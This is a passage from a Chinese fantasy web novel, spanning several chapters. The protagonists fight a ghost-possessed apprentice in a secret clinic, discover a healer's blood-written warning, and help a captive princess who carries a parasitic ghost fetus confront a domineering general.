云杳窈特意叮嘱岑无望不要着急更衣,若是被人发现了,还能借口小姐急病,无奈才夜闯医馆。 好在这一路上并没有人尾随,闻佩鸣先前就向客栈内的人打听了医馆的具体位置,饶是这般,几人仍旧是找到了月上中天。 逐庆城内街巷复杂,这里是襄华的军事重城,交通要道,即便是深夜仍有更夫和巡逻卫队不断搜查。 躲避士卒的巡查并非难事,难的是在茫茫夜色中找到本就偏僻的暗线据点。 几经波折后,闻佩鸣终于敲响了医馆的门。 因为不想引来麻烦,所以他们并没有带任何可以照明的工具,仅凭借月光和极佳的目力来辨别前路。 医馆前的旗帜仍在风中招摇,自静谧中发出噗噗的布匹摔打声,越发显出四周的静来。 许久不见人前来,闻佩鸣正犹豫着要不要再次敲门。 手指还未叩击在木板上,就听见令人牙酸的吱呀声。 两指宽的门缝太窄,看不见里面情况,甚至分辨不出这是风将门吹开了,还是真有人过来为他们开了门。 闻佩鸣凑俯身凑近,想要扒开门缝看个究竟。 突然,自深邃黑暗中睁开一只眼。 闻佩鸣吓得向后退了一步,还没叫出声,就被身后的云杳窈捂住了嘴。 她离得近,也看见了那只眼,心跳跟着原地飙升,然而根据她刚才在城中东躲西藏的经历来算,巡夜的队伍马上就会经过这里。 于是她踹了一脚岑无望,示意他上去看看。 岑无望回身看了看他俩,发出一声极为短促的笑音。 是嘲笑无疑了。 岑无望如今虽还保留了人身,但鬼化侵蚀下,反倒比寻常恶鬼更加强大,无论里头是人是鬼,他都无所畏惧。 所以他毫不犹豫推开门,谦谦有礼:“深夜冒昧叨扰,有失礼数,不过请见谅,实在是有急事缠身。” 他单手拎起那人的后衣领,手抓得越紧,话语越是平和:“劳烦带我们去找你们这里的掌事。” 紧随而至的闻佩鸣站到这人身前,丝毫不见刚才的惊慌,用折扇敲了敲面前人的头,反客为主:“跑什么?不认识我,也该认识这个吧。” 他打开折扇,原本漆黑的墨色字迹在夜间自发亮起来。 持权衡无私。 被衣领扼住咽喉的人因为进气少,所以声音嘶哑而迟缓:“少阁主亲临,未能远迎,请少阁主饶恕。” 他作势不管不顾去跪下,岑无望蓦地松手,他哐当一声倒地,额头正好磕在闻佩鸣的脚面上。 闻佩鸣又想大叫了。 不过有照渊阁的下属在,闻佩鸣还是强行忍了痛,亲手将地上的人扶了起来。 “还愣着干什么,带路。”他咬牙切齿道,不知是恨的,还是痛的。 听声音,他应该是个青年人,磕到了脑袋也不敢喊疼,缓缓向前摸索着带路。 “城内近来戒备森严,小人不知是少阁主大驾光临,方才也是无奈之举,少阁主勿怪。” 医馆内没有点灯,窗户离得远,月光稀薄,云杳窈也只能看清他的背影轮廓。 “我师父就在楼上,请诸位随我来。” 云杳窈需要听声辩位,所以主动挑起话来:“逐庆为何戒严?” “有贵人出行,在逐庆停留了几日,因此才看守的严了些。” 这位医馆学徒对房内的陈设很熟悉,很快就领着他们摸到了通向二楼的阶梯口。 他的步伐沉重,踩在木砌的楼梯上就会发出空洞而绵长的脚步声。 云杳窈想起什么,夸赞他:“你方才不出声,我还以为里面没人呢,你气息藏得真好,不愧是照渊阁的人。你是怎么炼成的,方便透露一二吗?” 学徒低低干笑两声:“在逐庆做暗线,不能不时刻小心谨慎,故而练就了这么一身掩饰气息和行踪的本事,让诸位受惊了,抱歉。” “我还有最后一个问题。”云杳窈在最后一节台阶上站稳,拇指顶住剑柄,腰间的问心露出寒光一寸。 “方才楼下分明有烛台和灯笼,你为什么不肯点灯。” 第65章 话音刚落,问心的锋芒直逼那医馆学徒而去。 明明没有回头,他却像是在脑袋后长了眼睛似的,歪头躲向一边。只是身体却好像忘了动弹,仍旧笔直站在原地。 这下,云杳窈几乎可以肯定,这位学徒已经完全鬼化。 他的脑袋以一种不可思议的角度歪着,脖子几乎要断裂似的,发出嘎吱嘎吱的骨头脆响。 云杳窈剑势转向很快,手腕向内翻转,准备打他个措手不及。 问心的利刃砍进他的血肉里,却并没有喷洒出污血,反倒像砍进了一团棉花里,轻飘飘的,没什么实感。 云杳窈几乎没用多少力气,就把他砍成两半。 烟雾自切口弥散开来,他的身体倒在地上,没有发出任何撞击声,而是如一摊水遁入黑暗中,聚成一团影子。 可是鬼是没有影子的,这应该是他为了自保,干脆舍弃了肉身,完全催动魂魄鬼化。 地上的黑影想要逃离,被闻佩鸣拦住了去路。他只能调转方向继续往漆黑的长廊深处走。 他对这里的地形更为熟悉,所以拐了几个弯,又在几个房间内一通乱蹿,很快就甩开了身后紧追不舍的云杳窈。 他来到走廊尽头,那里的房门紧闭,他从影中浮现一个鬼气凝结成的虚影,刚要推门而入,就被一只带着森然寒气的大手扣住了肩膀。 “原来你想去的,是这里啊。里面有什么,值得你舍弃肉身也要去寻找。”岑无望笑眯眯问他。 刚才云杳窈刻意留了机会让他逃跑,他明明刻意借窗户从二楼离开医馆,夜色深沉,他往外逃还有机会,若不是心存执念,又怎会愿意铤而走险。 深厚的鬼气威压让学徒毛骨悚然,身上的烟气向上飞,就像是一只炸毛的猫。 从他彻底舍弃肉身的那一刻起,他的理智很快就会被欲望吞没,除了血肉和生气,他心底只剩下生前的最后一个执念。 为了这个执念,这位小小的医馆学徒在碾压级的鬼气中强行脱身,硬生生撕裂了自己的鬼身,留了一只肩膀和胳膊给岑无望,带着其余的残部奔向屋内。 房间内灯火通明,恍若白昼。在窗边的藤椅上,静静躺着一个人。 她双目紧闭,面容祥和,衣冠整洁。如果忽略心口处狰狞的致命伤,她整个人就像是陷入了安详长眠一般。 “师父。”学徒轻声唤她。 然而他没来得及扑到藤椅前,便被利刃贯穿了心脏。 剑抽离的那一刻,他双膝跪地,却没有发出任何声响,也没有痛意。 回光返照之际,他才想起,是他刚才主动放弃了肉身。他伸出那只尚且能凝聚成形的手臂,想要去摸一摸睡在躺椅上的医师。 尽管他可能已经感受不出任何温度和柔软。 可是就连这点小小的愿望都没能实现。 云杳窈阻止道:“等一下。” 没能来得及,天同在她出剑拦截前斩断了他的另一只手。 恶鬼瞬间化为齑粉,消散于天地间。 “你干什么!为什么不留他一命,我们兴许还能问出些什么。” 闻佩鸣冷眼瞧着恶鬼消散的地方,拧眉道:“天真。他就是知道这里有一具尚未腐败的尸体,所以才极力逃往这里。如若等他吃了这具尸体的心脏,恐怕就难对付了。” “还有,你和岑无望的试探方法太过冒险,若他刚刚真的逃离医馆,潜入城中,祸害逐庆的百姓,那我们的罪责就大了。”闻佩鸣严肃道。 岑无望背过手站在云杳窈身后,像是一抹画中的竹林墨影,观赏性极佳。 他说:“没看出来,少阁主竟然还在意逐庆城中的凡夫俗子。” 云杳窈亦有些惊讶,若这些理由从任何人口中说出来,她都不会有这种想法,偏偏是目中无人的照渊阁少主,怎么看,他都不像是在乎普通人性命的人。 闻佩鸣瞪了岑无望一眼,道:“凡人的命虽低贱,可若是一城之数,累积起来也不容小觑。” “况且我将来可是要接管南荒十六城的,你们两个自然不懂这其中门道。”他将天同上的血擦拭干净,缓缓道,“这世间最难还的两样债务,其一为情债,其二便是命债,若因我们一念之差更改了一城人的寿数与命格,那孽果自然会由我们承担。” 其实闻佩鸣不知道,方才云杳窈已经用鉴义提前在窗边设立了绳结,那学徒根本跑不出去。 不过她没有多费口舌和闻佩鸣解释,听着他口中不断念叨着什么因果报应、业力轮回之类的话,并没有太过在意。经历过太多事情,云杳窈已经不太迷信命格这种说辞了。 从灵气和鬼气的运行轨迹来看,屋内并没有其他人来过的痕迹。学徒已死,现在和闻佩鸣争执方才的决策是否正确已经没有意义了。 无法挽回的事,云杳窈只想尽可能找出能亡羊补牢的办法。 云杳窈单膝跪地,凑近去看躺椅上的那个人。 这是个稍显年纪的女人,乌发中藏着不易察觉的银丝。因五官柔和慈悲,连眼角的皱纹都像是岁月为她添置的纪念礼。 伤口隐隐发黑,有不易察觉的鬼气从中泄露出来。 闻佩鸣撩起袍角,潇洒坐下,道:“看,我说什么来着。她胸口鬼气未散,应当就是被刚才的恶鬼所害。” 云杳窈却捻起她胸口的一滴血,令鉴义潜入经脉走一遭,仔细探究她体内的鬼气来源。 良久,她才反驳道:“不,这些鬼气虽淡,却并非沾染恶鬼的鬼气所致。” 而后,云杳窈抬起女人垂落在一旁的手,想要将她的掌心摊平。 “这些鬼气源自于她自身经络,鬼化会扰乱神智,所以她应该是在鬼化前选择了自我了断。” 她废了一番功夫才把她手心里的东西取出来,是一张已经被攥得有些皱巴巴的细窄纸条。 云杳窈打开这张约莫指腹宽的纸条,瞬间脸色苍白。 上面工整写着两行蝇头小字。 “同僚者见此字,万望保全自身,一路向西,寻仙门庇佑。” “刘祯衍绝笔。” 房间的书桌上仍有笔墨,字条上的每个字都是用血写成,几乎在她看完的一瞬间,字条上残余的灵气便催动纸张无火自燃。 岑无望看出她脸色不对,将手搭在她肩上,询问:“怎么了,字条上写的是什么。” 云杳窈抬头,强迫自己冷静下来,她颤抖着声音说:“来不及解释了,情况有变,我们现在立即设法出城。” 三人一路同行至此,已经有了些默契。云杳窈又是他们中唯一看到字条内容的人,见她脸色大变,神态难掩惊惶,他们立即将她拉了起来,向楼下奔去。 刚走到一楼,便听见门外有人哐哐砸门。 “开门!开门!” 脆弱的门板没能撑过第三下,轰然倒塌,一众着轻甲的士卒举着火把将门口围了起来。有一位声音粗犷的士卒大声喊道:“你们是谁?医师在哪里,让她出来。” 看样子,应当是本就认识这里的医师。 还未等云杳窈编出点话来,人堆突然自觉让开一条路,领头走过来的是一位女子,她面容憔悴,说话却并不咄咄逼人。 “原不该深夜叨扰诸位清净,实在是夫人病重,城中只有这里有女医,还请各位行个方便,唤刘女医过来。” 云杳窈觉得这声音似乎有些耳熟,刘桢衍已死,她正愁找不到借口脱身,此刻机会却正好送上门来。 她按下岑无望的手,试探着开口:“自王都夜游过后,已有数月不曾与贵人蒙面,不知她如今可在城中。” 那年轻女子听了这话,先是一怔,而后抢过身边人的灯笼,几步走了过来。 她仰起头,眼睛睁得浑圆,显然是已经认出了云杳窈:“你……” “草民游历四方,正好路过此处,想要拜访贵人,不知她现下可方便?” 年轻女子正是襄华公主姜娆的贴身婢女,她看出云杳窈此刻窘迫,立刻心领神会:“夫人这些日子常念叨姑娘,此前您留下的安心药已经全数消耗殆尽,夫人近来烦忧,若是您肯过去排忧解难,自然是最好不过。” 为首的将领见王姬的贴身侍女忍冬领着云杳窈等人走了过来,听方才的交谈,是要带这几人拜访王姬。 他长了一张能够镇宅的脸,横眉而对,弯刀不离手,模样凶神恶煞,道:“夫人岂是这些贱民能见到的,万一有了闪失,谁来担责?” 忍冬并没有被他三言两语吓唬道,她一改先前的柔顺恭和,厉声训斥:“这是曾救过夫人性命的神医,你算个什么东西,敢阻挠医师入府行医,若是耽搁了夫人的病情,只怕你有一百个头也不够砍的。” 那将领挨了骂,抿着嘴咬着牙,斜眼看着他们,似乎很不服气。 “你要带女医进府照看夫人,我自然不敢阻拦,可他们中还有一名男子,难不成他也要入内宅面见夫人?某虽一介草莽匹夫,也懂得外男不可擅入内宅的道理。” 忍冬胸口一股郁气无处排解,他这话叫她无法反驳。 云杳窈见事态不对,赶紧出来打圆场:“这好办,我只带二娘一人即可,至于这位……” 她思索一瞬,接着说:“送他出城吧,家中有急事,总要有一人回去主持大局。” 退让一步并没有换来应有的谅解,将领趾高气扬:“恕我不能答应,刚收到的密令,自明日起,全城封闭,这位公子恐怕要在城中多逗留几日了。” 第66章 将领笑着说:“几位放心入府为夫人调理身体,若夫人无恙,这位公子自然无恙,待主君回来后还会厚赏你们。” 好脸色还没在脸上挂一会儿,又冷下脸威胁他们。 “可若你们不识相,别怪我不客气。” 这人翻脸速度比翻书还快,没吓到云杳窈等人,倒是令忍冬脸色难看了不少。 “你……” “忍冬姑娘见谅,我也是奉命行事,主君交代过,夫人的安危高于一切,若是哪句话惹了姑娘不快,还请夫人与主君惩 罚,他人之令,恕难从命。” 云杳窈知道这事暂时没有商量的余地,若强行要求送一人出城,可能还会引起怀疑。这人不怕忍冬,却不能不听姜娆号令。 况且城内本就不太平,今夜之事云杳窈还惊魂未定,如今得知姜娆就在逐庆的消息,还是想亲自看一眼才放心。 于是,云杳窈按下忍冬,对那名将领道:“那就劳烦大人照顾我这位兄长。” 忍冬不放心,还想说些什么,又被拦下,云杳窈轻轻摇头:“夫人的病要紧,我们快些去面见夫人吧。” 据忍冬所说,姜娆几日前随夫君邬盈侯来逐庆,而后邬盈侯有要务在身,不得不暂离逐庆。 马车的两侧有厚重的帘子作挡,即便是这样,忍冬依旧刻意压低声音,担心被人听了去。 “此次是秘密出行,并没有带太多心腹过来,不然也不会教您受这些委屈。” 说不介意是假的,然而此刻这些言语上的轻慢已经不是云杳窈最在意的了,她看着愁容满面的忍冬,突然开口。 “她过得好吗?” 马车摇摇晃晃,原本只能听见车轮滚动和马匹行进的蹄声,然而在她询问姜娆近况后,便有人叩响车厢侧边隔板。 毫无征兆的,有人掀开车边帷帐。 将领直勾勾看向忍冬,道:“距离府邸还有些距离,三位姑娘若是有什么需要,随时吩咐。” 看似谦卑,实则警告。 云杳窈颔首轻笑:“有劳大人挂心。” 随即,将帷帐重新放了下去。 忍冬深吸一口气,道:“邬盈侯爱重殿下,与殿下相敬如宾,所获珍宝尽数献上,供殿下赏玩,未曾在用度上苛待过她。” 车内摇晃,忍冬脸上的愁被灯火照出许多沟壑,每一处都难以填平。几个月不见,她却像是老了十岁。 云杳窈闻言,只能赞叹道:“这般情深意重,应当是王姬的良人才是。” 这回忍冬不再说话。缄默过后,她道:“邬盈侯多次求娶,方才成就这番姻缘。” 她声音如叹息一般,轻而婉转。 岑无望扯了扯云杳窈的衣袖,在她手心里写下一个字。 假。 连未曾见过姜娆的岑无望都这么说了,云杳窈自然能猜到见姜娆的这段姻缘可能不如表面上光鲜亮丽。 忍冬不再说话,车内的气氛一时间冷下去,直到马车停了下来,车夫才唤她们下车。 云杳窈心事重重,她本来心不在焉,却在下车站定的一瞬间汗毛倒立。 姜娆落脚的地方不仅防守森严,有重重守卫,且有一座精妙的法阵镇守整座府邸,黑压压的鬼气笼罩在上空,叫人喘不过气来。 凡人察觉不出,因此看到云杳窈呆愣在原地,面色惨白,忍冬还忍不住关切道:“怎么了,可是身体不适?” 还是岑无望牵起她的手,让她从震惊中缓过神来。 云杳窈几乎是从牙缝里挤出来一句连贯的话:“没什么。” 云杳窈有些犹豫,直觉告诉她,如果不想节外生枝,最好立即转身离开,哪怕有城中士卒追捕,以凡人之力,也很难留住她。 可忍冬已经提裙走上台阶,站在牌匾下回身望她,似乎在疑惑她为什么还不跟过来。 云杳窈想起姜娆在王都迎神前赠于她的祝福,发现自己怎么都无法在此刻逃离这里。 她缓缓走入幽深的大门,身后火光冲天,在门口闭合的瞬间,脚下的路又被侍女们的灯笼照亮。 没了外人在场,忍冬说话也没那么拘谨了,她看向云杳窈旁边身形高挑魁梧的女子,道:“这位姑娘面生,可是云姑娘的好友?” 云杳窈没有否认:“算是吧。” 忍冬笑了起来,眉眼弯弯:“云姑娘为何来到逐庆,怎么会出现在刘女医的医馆内?” 云杳窈没回答,她就自顾自往下说着:“说起来,今夜还没见到刘女医,闹出这么大动静,她都不曾现身,方才没在医馆内吗?” 云杳窈敷衍她:“没见到她,说不定是被哪位病人绊住了。” 忍冬但笑不语,她领着云杳窈和岑无望来到一间小院里,挥退了守在门口的闲杂人等:“你们下去吧。” 看来姜娆就在里面。 云杳窈刚想推门而入,忍冬突然拦下了岑无望。 忍冬对不明所以的云杳窈说:“云姑娘,这位……” 她顿了顿,还是说:“姑娘。” “终究是生人,殿下如今受不得惊吓,恐怕无法面见外人,所以还请他在外等候。” 岑无望掐着嗓子咳了两声,云杳窈知道忍冬已经识破了岑无望的伪装。 话说得这般委婉,她亦不能再强求岑无望一同进去。 于是,她拂开岑无望不安的手臂,安慰他:“无妨,我很快就出来,你若不放心,便在门口等着,我有急事定然大声喊你。” 忍冬看着云杳窈亲密且自然的动作,已经将两人的关系踩了个大概。 她附和道:“客人请放心,殿下与云姑娘是旧相识,她知道是云姑娘来访,高兴还来不及呢,绝对不会为难她的。” 其实两人中更放心不下对方的是云杳窈,这里鬼气浓郁,几乎和万鬼窟的外层差不多。凡人尚且会受到影响,岑无望置身其中,肯定会更难受。 云杳窈一直不能确定鬼化对岑无望的身体和神智到底影响到了什么地步,这一路奔波下来,她甚至无暇关心他。 愧疚感瞬间吞没她,不过她向来擅长掩饰,强打精神移开视线,又在迈进房间的一刻悄悄送出去一根鉴义情丝,驱散四周鬼气。 这下云杳窈既要分神给岑无望,又要见姜娆。 稍不留神,便撞上里面投掷出来的的茶盏。 “我不是说不想见任何人吗?滚开,都滚开!” 云杳窈偏头,轻巧避开迎面而来的危险。茶盏在地上瞬间四分五裂,发出刺耳的碎裂声。 她定睛一看,才看清楚坐在榻上的女子。 身形消瘦,面容枯槁,原本细腻如羊脂玉般的肌肤变得暗淡无光,连原本乌黑浓密的头发都发黄,兴许是蘸了梳头油的缘故,在烛光的照耀下散发出一种油腻的光泽。 姜娆气息不定,还想继续厉声呵斥,在看到云杳窈的脸后,瞬间安静下来。 愤怒还定格在她漂亮的脸上,有很轻微的痉挛。她坐在榻上,腹部高高隆起,明显是怀孕了。 云杳窈赶忙说:“是我。殿下不要激动,若是不愿见到我,我即刻离开。” 她知道女子怀孕辛苦,孕中焦躁易怒都是正常事。 “不。”听到云杳窈的话,姜娆收敛怒容,神情有一瞬空白。她未经思考,便起身想要亲自挽留。 姜娆太过着急,肚子又大,起身时没有站稳,向前一个趔趄,眼看就要摔倒,云杳窈眼疾手快,迅速扶住了她。 姜娆的手紧紧抓着云杳窈的衣服,几乎将她肩头的衣裳扯下来,她说:“别走。” 云杳窈边将她扶起,边说:“不走,我不走,你别急。” 待姜娆重新坐稳,云杳窈才有功夫坐在她身侧整理自身的衣服。 还没抬头,便听见姜娆温柔道:“真好,竟然还能见到你。” 云杳窈刚想抬头,便被她抱住。 姜娆在她肩头咯咯笑着,不断重复着真好,念叨到最后,真好又变成了幸好。 她的身体逐渐滑落,额头抵在肩上,身体不断颤抖。 锁骨处传来一阵湿润触感,云杳窈这才意识到,姜娆或许不是在笑,而是在哭。 她将姜娆的脸捧起来,替她擦去眼泪。然而这些泪水就像是决堤的河,不断流淌,生生不息,擦不完,抹不尽。 云杳窈从未见过姜娆如此失态的模样,她的心跟着她越来越明显的抽噎跳动,泛出一阵酸楚,她终于忍不住问姜娆:“这是怎么了,是有人欺负你吗?” 姜娆重新扑进云杳窈怀里,她将云杳窈的手轻轻搭在自己腹部,半晌才说:“你摸 ,这里面是不是有一个孩子在动。” 隔着太多层衣服,云杳窈根本就摸不到胎动,只能说:“我刚才就看到了,你快做母亲了。” 姜娆却犹如惊弓之鸟,猛然从她怀中起身。 “救救我,求你救救我,我不能要这个怪物。” 她说完,自顾自开始解衣服。 云杳窈不懂她这是想做什么,只能无措僵坐在那里,看着她揭开一层层衣裳,露出布满裂痕斑纹的肚子。 一般来说,若肉身尚在,恶鬼的鬼气是从七窍散出,而姜娆脱掉最里面遮掩鬼气的衣物后,身上的鬼气再也压制不住,从腹部向外扩散。 云杳窈还从未见过这种情况,她瞪大了眼,惊呼:“这是!” 姜娆道:“我从未与邬盈侯同房,我们之间没有任何夫妻之实,我腹中却莫名其妙有了他的孩子。这根本不是我的孩子,即便所有人说它是我的孩子,说我是因太过害怕生产,所以才得了癔症。” “但我能感受到,它是活的!它一直在动!它一直在汲取我的血气,才一个月,它就已经这么大了,如果等到它足月产下,我会死的。” “求你救救我,杀了它,如果它不死,我就不能活。” 第67章 云杳窈从未见过姜娆这般失态,在她的记忆中,姜娆永远是金尊玉贵的襄华王姬,她能坦然接受命运,也能笑对离别。 而不是这样歇斯底里,困在这小小的房间内被腹中血肉挟持。 如今这种情况,云杳窈不敢贸然用灵力去探查姜娆腹中的邪物,生怕灵气和鬼气在她体内相撞,会加重身上负担。 云杳窈一件件将姜娆的衣服穿戴好,沉默着听她发泄着情绪。 姜娆双目猩红,嘤嘤啜泣。好一会儿,她才能控制住自己的身体不要颤抖。 她以为嫁给叛军头领,便能换得战事停歇,国土安宁。殊不知,这场求娶根本就是一个彻头彻尾的骗局。 “你相信我吗?”姜娆问,她的瞳孔惊颤,突然与云杳窈拉开距离。“现在除了忍冬,已经没有一个人信我,就连从外头找来的医师,都说我是多虑了,只因为我腹中是双生子,所以才显得格外大。” “可是乳娘说,即便是双生胎,也不可能是这种情况。所以她让我传信给王都,让宫中派御医过来,可是每一个进入侯府的人都消失了,到最后,连从小照料我的乳娘都不见了。” 姜娆再次问:“你相信我吗?” 这回,她甚至不敢贴近云杳窈,她的疑心病一日重过一日,在被幽禁到逐庆后更甚,如今已经到了病入膏肓的地步。 云杳窈握住姜娆的手,毫不犹豫的告诉她:“我信你,你说的每一个字我都信。” 她的手温暖而有力,因握剑而磨砺而成的茧没有让姜娆感到不适。她已经很久没有在谁的话中汲取过这种坚定的信任。 明明心中的惶恐好不容易被压制下去,姜娆却又想哭。 “我不想生孩子,我想回王都,这辈子都不要再嫁人了。” 她就像是长在平原上的树,尚未长成就要被赋予了不可能只身肩负起的责任,以为自己能够荫蔽无辜弱小,可独木孤影,风雨必摧之。 等到她反应过来时,甚至无力逃开。树木有根,如果被拦腰砍下,便会停止生长,她只能在日复一日的煎熬中徒劳等地。 每一声哭泣都如同钝刀子划在云杳窈的心上,她不忍再听,觉得再多安慰的话都是徒劳。 “我带你离开这里,你想回王都,我就带你回去。如果王都不能容你,我就带你离开襄华。”云杳窈说,“不要害怕,我在这里,就不会让你再受委屈。” “现在,让忍冬帮你收拾东西,然后找借口单独召见守城的将领,记住,必定是让他单独过来见你,动静越小越好。” 姜娆的脑子已经一片空白,她焦虑道:“可是他戒备心很强,即便我召见他,他也未必肯只身前来。” “那找个理由骗他。”云杳窈望着她的双眼,耐心教她,“不需要多高明的谎言,我只需要半柱香的时间。你告诉他,侯爷留下密令,事关整座侯府的安危,必须由他亲启,他性情狂妄傲慢,知道你身边并无可用之人,即便有疑心,也不会拒绝。” 云杳窈继续说:“镇定下来,我们能不能一起出城,就看你了。姜娆,我需要你,明白吗?” 原本还泣不成声的姜娆,终于抽噎着坐直了身体,深吸几口气,看着云杳窈走出房间,叫了外头的忍冬和岑无望进来陪她。 姜娆一只盯着云杳窈离开的方向,不久后便看到一只指节修长手拨开纱帘,其后露出一张美人面,恰似化冰的春日绿湖,雪肤玉耀,姿容清隽,气质脱俗。美人身高八尺有余,躬身过帘时有玉山倾颓之态。 仔细看,眉眼轮廓还有几分熟悉。 发现云杳窈并没有回来,姜娆问:“这是谁,云仙子呢?” 岑无望站在她面前,没有再掐着嗓子作伪装:“王姬尽可以放心,我名岑无望,是杳窈的内人。她现在去了厅堂,让我来看看你的情况。” 姜娆听出他是个男人,有些警惕,她抓紧了袖口,询问道:“你是医师?” 岑无望摇头:“我虽不是医师,但略懂些奇术,能辨阴阳,所以杳窈才让我过来。无意惊扰王姬,还请见谅。” “冒犯了。”岑无望行至姜娆身前,将手悬在她额前。 无形的鬼气钻入姜娆的七窍,顺着她的经脉汇入丹田。 两种鬼气无法相容,但岑无望并非寻常恶鬼,他能在万鬼窟独据一方,自然不会惧怕这种尚未成型的鬼胎。 恶鬼自然有恶鬼的解决办法,要想要根除,最好的办法不是斩杀,而是吞噬。 只是这鬼胎已经寄生在姜娆体内太久,已经与她血肉相连,若是直接吞掉,说不定姜娆也会被濒死的鬼胎吸干殆尽。 方才云杳窈特意交代他,要小心对待这位襄华王姬,尽心呵护,不能伤害她分毫。 可若什么都不做,等这两只小鬼睁了眼,定会直接从母体钻出,到时候姜娆所承受的痛苦可能会直接摧毁她的心智,甚至连魂魄都会成为鬼胎的养料。 这种由生身母亲为祭品的鬼最邪性,冷漠凉薄,出生的第一刻,就会杀死自己曾寄生的母体,七情六欲中恶欲与生欲最盛。 若是想要彻底诛杀,要么连祭品一起杀死,要么封住它们的神智,主动催产后再除掉。 第一种办法显然行不通,岑无望只能暂时用鬼气为姜娆护体,再设法封住鬼胎成型的心窍,让它们无法主动破身而出,也能减缓它们吸食姜娆血气的速度。 为了不让姜娆害怕,岑无望没有提及鬼胎的凶险,只是轻松道:“好了,你暂时安全了,待时机成熟,我会为你护法,产下这个孩子。” 姜娆本以为需要折腾许久。 民间女子生产尚且要走一趟鬼门关,她身怀邪祟,竟然就这么轻飘飘解决了问题。她确实感觉身体轻松了些,可是腹部并不没有恢复平坦。她轻轻摸着肚子,还朝里面按了按,是硬硬的,她瞬间身体僵硬。 “这两个孩子还在吗?” 岑无望以为姜娆不舍得,毕竟是鬼胎的母亲,若是心生不舍也很正常。 “还在,你放心,我没有伤害它们。”岑无望安抚她。 姜娆却吐出胸口浊气,道:“不,我不想生下它们。有没有有办法让它们消失?” 岑无望脑海中很快闪过很多方法,但都没有两全其美之策,如实回答:“暂时没有。” 担心姜娆因此激动,岑无望马上将她的注意力吸引到别的地方,只字不提那些凶险的方法。 “时候不早了,我们该去会一会那位将军了。” 忍冬已经简单收拾了细软、印信等物,她带着云杳窈此前所要求的面纱,上前扶着姜娆,提醒道:“王姬莫急,既然岑仙长和云仙子愿意相助,肯定是有万全之策。欲速则不达,有这两位在,何愁没有将这孽障彻底去除的时候。” 姜娆仍是忧心忡忡。 不过她发觉自己的脚步比原先轻快了不少,本来走出房间都很难,如今却能在忍冬的搀扶下穿过后院,走到 前院厅堂。 岑无望嘱咐她:“待会儿王姬戴着面纱见人即可,若是听见了些奇怪的声音,不必害怕,是我与杳窈在帮你。” 忍冬将面纱覆在姜娆脸上,道:“殿下别怕,我会一直保护你的,若魏将军身怀异心,我说什么也会挡在你身前的。” 姜娆这才轻轻笑出声,魏将军即便有异心,可她贵为王姬,又身怀邬盈侯骨肉,他根本不敢冒犯。 真正该担心的,反而是伺候她的这些仆役,魏将军此前就曾私下向邬盈侯要过忍冬,说要迎她做贵妾,姜娆没有答应。 她深陷邬盈侯府,私心想多留忍冬几年,然后再为忍冬指一门心意相合的婚事,由她亲自赐婚,嫁妆从她的私库里出。 魏将军并没有询问过忍冬愿不愿意,姜娆就没有告诉她这件糟心事。 想到这里,姜娆唇角的笑意消失不见,眉尖微蹙,又是一副愁容。 “我宁愿你躲得远远的。”姜娆拍了拍忍冬的手,支开她,“人越多,破绽就越多。你就在外头候着,里面有云仙子在,不会有事的。” 说罢,姜娆提裙走入厅堂内,步子缓慢琐碎,却并不显得笨重。她发现魏氏已经自顾自坐在下方,并没有恼怒,拂袖落座于上方正中央,头顶“忠正堂”的金字牌匾掉了漆,忠与正历经风霜,早已没了当初的光彩。 姜娆端的是温和贤良的做派,说话不急不徐:“军中事务繁忙,本不该此刻邀您过府叙事,然事急从权,此刻也顾不得那些个规矩,还望将军不计前嫌,与我共商大计。” 魏氏听罢,道:“王姬客气,既然是侯爷密令,我自然尽力就是。只是你也知道,逐庆是襄华重城,于侯爷来说至关重要。侯爷又视殿下如珍宝,我守着侯爷的两个宝贝,自然不会怠慢。” 岂料他话锋一转,越发拿乔作势。 “只是殿下也清楚,魏某自亡妻过世后,一直未再娶,大丈夫在外征战,内宅却无人打理,教我如何心安?此前向你讨了忍冬姑娘,你不肯放人,硬要把好好的姑娘留到老死,我就当您是心疼她不肯做妾。” “如今我也不想要忍冬了,她脾性刚烈,恐怕不能为我操持后院。”魏氏慢慢转动眼珠子,斜眼看向从刚开始就站在他身边的云杳窈。 “不如就她吧,我愿以正妻之礼相待,三媒六聘,八抬大轿,以表示我对王姬殿下的诚意。” 第68章 姜娆唇舌未动,却听见自己的声音:“不可能。” 她被吓了一跳,抓紧了扶手。不过她很快就想明白个中缘由,冷静了下来。 姜娆想偏头去确认是不是岑无望的手笔,却发觉自己被定在原地,无法动弹。 若以灵气拟声,势必带着音咒效果,连带着产生诸多反应。 不止是他自身会遭受鬼气反噬,还有所有听到他声音的人,都容易被音咒误伤。 凡人无灵气护体,自然更容易被岑无望的拟声所震慑。 魏将军毫无防备,被这一声冷斥吓得六魂无主,从椅子上滑落,跪坐在地。 云杳窈走到他身前,慢条斯理弯下腰,柔声关切:“大人,怎么突然行此大礼?” 魏将军咿咿呀呀挣扎着要说些什么,云杳窈侧耳去听:“什么?我听不太清楚,再说清楚些。” 兴许是久经沙场,早就看惯了血腥场面,魏将军的心志远超常人,他的双目死死盯着云杳窈,嘴唇已经能稍微动弹。 “妖……妇……” 看到魏将军将要恢复,姜娆有些着急。 云杳窈打了个响指,她这才卸下肩上千斤重担,重获自由。 不过这样一来,魏将军也同样没了束缚,他第一时间抽出腰间佩刀,向云杳窈砍去。 姜娆高声疾呼:“小心。” 云杳窈后撤一步,侧身躲过这一剑,她双手背后,没打算动用问心。 可这场景放在姜娆眼里,就是她无力还手,只能四处躲闪。 在魏将军变换刀势,刀刃劈开椅子后,她终于看向身侧的岑无望,催促道:“你不去帮忙吗,难不成就让他们这么打下去?” 岑无望的眼神从未离开过云杳窈,他这人即便大难临头,面上也不会显出几分慌乱。 更何况,他根本就没想过云杳窈会被魏将军所伤。 “别急。”岑无望的手指随着云杳窈行云流水的躲避和挑衅,在袖中轻点。 他眼珠子几乎要黏在云杳窈身上:“等的就是,他全力以赴的那一刻。” 魏将军低估了面前这位看似柔弱的少女,从一开始,他以为必中的一刀被她轻巧躲开,他就已经开始自乱阵脚,甚至打着打着,已经顾不得什么技巧,只是朝着她的位置乱劈乱砍。 他今日来拜见姜娆,本该卸甲去刀,可邬盈侯不在这里,前方捷报连连,他压根不信什么密令,更不把姜娆放在眼里。 他以为是姜娆已经知道了些什么,眼见大势已去,所以急于拉拢邬盈侯的心腹,才会找个借口召见他。 直到现在,他才发现自己完全中计了,这位王姬的旧相识功力深不可测,总能快他的刀一步,又总能保持一种猫戏老鼠的游刃有余感。 